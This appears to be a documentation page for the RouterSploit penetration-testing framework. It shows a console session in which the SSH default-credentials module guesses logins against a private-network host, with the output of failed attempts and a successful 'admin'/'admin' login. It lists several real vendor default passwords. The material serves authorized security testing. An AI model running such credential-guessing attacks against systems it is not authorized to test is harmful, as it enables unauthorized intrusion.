Testing Credentials

Testing Credentials

Example of testing SSH default credentials

rsf > use creds/generic/ssh_default
rsf (SSH Default Creds) > show options

Target options:

   Name       Current settings     Description
   ----       ----------------     -----------
   target                          Target IPv4, IPv6 address or file with ip:port (file://)
   port       22                   Target SSH port


Module options:

   Name                Current settings                                                                             Description
   ----                ----------------                                                                             -----------
   verbosity           true                                                                                         Display authentication attempts
   threads             8                                                                                            Number of threads
   defaults            file:///Users/lucyoa/git/fork-routersploit/routersploit/resources/wordlists/defaults.txt     User:Pass or file with default credentials (file://)
   stop_on_success     true                                                                                         Stop on first valid authentication attempt


rsf (SSH Default Creds) > set target 192.168.2.111
[+] target => 192.168.2.111
rsf (SSH Default Creds) > show wordlists

   Wordlist          Path
   --------          ----
   passwords.txt     file:///Users/lucyoa/git/fork-routersploit/routersploit/resources/wordlists/passwords.txt
   defaults.txt      file:///Users/lucyoa/git/fork-routersploit/routersploit/resources/wordlists/defaults.txt
   snmp.txt          file:///Users/lucyoa/git/fork-routersploit/routersploit/resources/wordlists/snmp.txt
   usernames.txt     file:///Users/lucyoa/git/fork-routersploit/routersploit/resources/wordlists/usernames.txt

rsf (SSH Default Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[*] thread-1 thread is starting...
[*] thread-2 thread is starting...
[*] thread-3 thread is starting...
[*] thread-4 thread is starting...
[*] thread-5 thread is starting...
[*] thread-6 thread is starting...
[*] thread-7 thread is starting...
[-] 192.168.2.111:22 SSH Authentication Failed - Username: '1234' Password: '1234'
[-] 192.168.2.111:22 SSH Authentication Failed - Username: '888888' Password: '888888'
(..)
[-] 192.168.2.111:22 SSH Authentication Failed - Username: 'admin' Password: '362729'
[-] 192.168.2.111:22 SSH Authentication Failed - Username: 'admin' Password: '<<< %s(un='%s') = %u'
[-] 192.168.2.111:22 SSH Authentication Failed - Username: 'admin' Password: 'Admin123'
[-] 192.168.2.111:22 SSH Authentication Failed - Username: 'admin' Password: 'AitbISP4eCiG'
[+] 192.168.2.111:22 SSH Authentication Successful - Username: 'admin' Password: 'admin'
[-] 192.168.2.111:22 SSH Authentication Failed - Username: 'admin' Password: 'Ascend'
[-] 192.168.2.111:22 SSH Authentication Failed - Username: 'admin' Password: 'NetCache'
[-] 192.168.2.111:22 SSH Authentication Failed - Username: 'admin' Password: 'Uq-4GIt3M'
[-] 192.168.2.111:22 SSH Authentication Failed - Username: 'admin' Password: 'Protector'
[-] 192.168.2.111:22 SSH Authentication Failed - Username: 'admin' Password: 'BGCVDSL2'
[-] 192.168.2.111:22 SSH Authentication Failed - Username: 'admin' Password: 'OCS'
[-] 192.168.2.111:22 SSH Authentication Failed - Username: 'admin' Password: 'COadmin123'
[*] thread-0 thread is terminated.
[*] thread-1 thread is terminated.
[*] thread-2 thread is terminated.
[*] thread-3 thread is terminated.
[*] thread-4 thread is terminated.
[*] thread-5 thread is terminated.
[*] thread-6 thread is terminated.
[*] thread-7 thread is terminated.
[*] Elapsed time: 40.70878314971924 seconds
[+] Credentials found!

   Target            Port     Service     Username     Password
   ------            ----     -------     --------     --------
   192.168.2.111     22       ssh         admin        admin

rsf (SSH Default Creds) >